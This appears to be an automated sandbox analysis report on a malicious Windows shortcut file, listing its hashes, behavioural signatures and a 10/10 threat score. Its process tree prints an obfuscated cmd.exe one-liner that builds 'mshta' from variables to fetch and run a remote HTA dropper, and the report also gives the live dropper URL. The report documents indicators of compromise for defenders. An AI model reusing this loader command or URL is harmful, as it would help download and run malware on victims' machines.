Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:21
Static task
static1
Behavioral task
behavioral1
Sample
DOC-3V3YOT.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-3V3YOT.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-3V3YOT.lnk
- Size 1KB
- Sample260804-j9fqsaveka
- SHA256 4132ccb242c019b5fc798615aa36731e44a0a840455e8d9359897845b5ed888c
- MD5 2c4ca3344111c060cf7d055480f0cf35
- SHA1 8ddf7ee86f18033a74460fca7df365b3f05a49df
- SHA512 f0b2b1344b0df6978e6d97ea9e08c770e457fd0e308a7eb98cddc2ac65502fe2fbc88df60e00ad2f48af0294410704e85cac3416ff55baac6c892adb0521b931
- TLSH T1E23197503EED0624F3F38F7294BB572089BAB8598E20CB2D0040450C1072A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1200 cmd.exe 1184 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1200 wrote to memory of 1184 1200 cmd.exe 90 PID 1184 wrote to memory of 3316 1184 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3V3YOT.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set nsH=msh&&set Pi=ta&&start "" !nsH!!Pi! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3316
-
-